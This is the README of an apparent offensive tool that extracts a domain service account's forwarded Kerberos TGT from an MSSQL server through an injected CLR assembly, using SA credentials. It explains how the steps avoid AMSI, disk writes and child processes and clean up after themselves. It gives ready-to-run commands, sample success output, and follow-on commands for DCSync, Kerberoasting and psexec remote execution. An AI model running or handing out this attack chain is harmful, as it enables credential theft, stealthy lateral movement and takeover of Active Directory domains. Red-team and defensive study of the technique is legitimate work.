Remote Kerberos TGT extraction via MSSQL
pyTGTDeleg abuses the Kerberos delegation mechanism (tgtdeleg trick) to extract a usable forwarded TGT from a domain-joined MSSQL server, using only SA credentials. The extracted TGT is saved as a .ccache file compatible with impacket and other Kerberos tooling.
The tool loads a custom CLR assembly directly into sqlservr.exe via SQL commands. The assembly performs SSPI delegation calls and retrieves the service ticket session key from the Kerberos ticket cache, all within the MSSQL process. No cmd.exe, no powershell.exe, no files written to disk.
- A CLR assembly is loaded into
sqlservr.exefrom hex bytes viaCREATE ASSEMBLY - The assembly calls
AcquireCredentialsHandle+InitializeSecurityContextwithISC_REQ_DELEGATE, targeting a DC with unconstrained delegation - SSPI internally requests a forwarded TGT from the KDC and packages it as a KRB-CRED inside the AP-REQ authenticator checksum
- The assembly retrieves the service ticket session key from the local ticket cache via
LsaCallAuthenticationPackage - The raw SPNEGO token and session key are returned to the Python client
- Python parses the GSS-API token → AP-REQ → decrypts the authenticator → extracts the KRB-CRED → decrypts the forwarded TGT → saves it as a
.ccachefile - All SQL artifacts (procedure, assembly, configuration changes) are cleaned up automatically
- No child processes → code runs inside
sqlservr.exevia SQL CLR hosting - No AMSI → CLR assemblies loaded via SQL don't pass through the AMSI pipeline
- No disk writes → assembly loaded from hex in a SQL query
- Full cleanup → drops procedure, assembly, and restores
clr enabled,clr strict security, andTRUSTWORTHYto their original values
Attacker machine (Linux/Windows/macOS):
pip install impacket
Target:
- MSSQL Server with
sysadmincredentials (typicallysa) - Server must be domain-joined
- The MSSQL service account must have a TGT in its Kerberos ticket cache
- The service account must NOT have the
NOT_DELEGATEDUAC flag - The service account must NOT be a member of
Protected Users
python3 mssql_tgtdeleg_clr.py -t <MSSQL_IP> -u sa -p '<password>' -spn HOST/<dc_fqdn>python3 mssql_tgtdeleg_clr.py -t <MSSQL_IP> -u sa -p '<password>' --auto-spnpython3 mssql_tgtdeleg_clr.py -t <MSSQL_IP> -u 'DOMAIN\dbadmin' -p '<password>' -w -spn HOST/<dc_fqdn>python3 mssql_tgtdeleg_clr.py -t <MSSQL_IP> -u sa -p '<password>' -spn HOST/<dc_fqdn> -vpython3 mssql_tgtdeleg_clr.py -t 10.10.10.5 -u sa -p 'DbP@ss!' \
-spn HOST/dc01.corp.local -o corp_tgt.ccache[INFO] Connecting to 10.10.10.5:1433 as sa ...
[INFO] Authenticated
[INFO] Configuring CLR support ...
[INFO] Loading CLR assembly into sqlservr.exe ...
[INFO] Executing tgtdeleg (inside sqlservr.exe) ...
[INFO] Cleaning up CLR artifacts ...
[INFO] SPNEGO token : 3259 bytes
[INFO] Svc session key : 32 bytes (etype 18)
[INFO] Parsing SPNEGO -> AP-REQ -> Authenticator -> KRB-CRED ...
[INFO] KRB-CRED: 1449 bytes from GSS checksum
[INFO] KRB-CRED decrypted with svc session key (etype 18, usage 14)
[INFO] TGT: SVC_MSSQL$@CORP.LOCAL -> krbtgt/CORP.LOCAL@CORP.LOCAL (etype 18)
[+] Forwarded TGT extracted!
Client : SVC_MSSQL$@CORP.LOCAL
Service : krbtgt/CORP.LOCAL@CORP.LOCAL
Key etype: 18
Saved : corp_tgt.ccache
export KRB5CCNAME=corp_tgt.ccache
# DCSync (if the account has replication rights)
impacket-secretsdump -k -no-pass CORP.LOCAL/SVC_MSSQL\$@dc01.corp.local
# Request a service ticket
impacket-getST -k -no-pass -spn cifs/fileserver.corp.local CORP.LOCAL/SVC_MSSQL\$
# Kerberoasting
impacket-GetUserSPNs -k -no-pass -dc-ip 10.10.10.5 -request CORP.LOCAL/SVC_MSSQL\$
# Remote execution
impacket-psexec -k -no-pass CORP.LOCAL/SVC_MSSQL\$@dc01.corp.local
# SMB enumeration
impacket-smbclient -k -no-pass CORP.LOCAL/SVC_MSSQL\$@fileserver.corp.local| Flag | Description |
|---|---|
-t, --target |
MSSQL server IP or hostname (required) |
-u, --user |
MSSQL username (default: sa) |
-p, --password |
MSSQL password (required) |
--port |
MSSQL port (default: 1433) |
-spn, --spn |
Target SPN — must point to a host with unconstrained delegation |
--auto-spn |
Auto-discover a domain controller SPN |
-o, --output |
Output ccache file path (default: forwarded.ccache) |
-w, --windows-auth |
Use Windows/NTLM authentication instead of SQL auth |
-v, --verbose |
Show debug output including decryption attempts |
The target SPN must belong to a machine account with unconstrained delegation. Domain controllers have this by default. Valid formats:
HOST/dc01.corp.local
cifs/dc01.corp.local
ldap/dc01.corp.local
The SPN is only used to trigger the delegation flow — the extracted ticket is always the krbtgt TGT, not a service ticket for that SPN.
- Benjamin Delpy (@gentilkiwi) → original tgtdeleg concept
- Rubeus → reference implementation
- Impacket → Kerberos parsing and ccache generation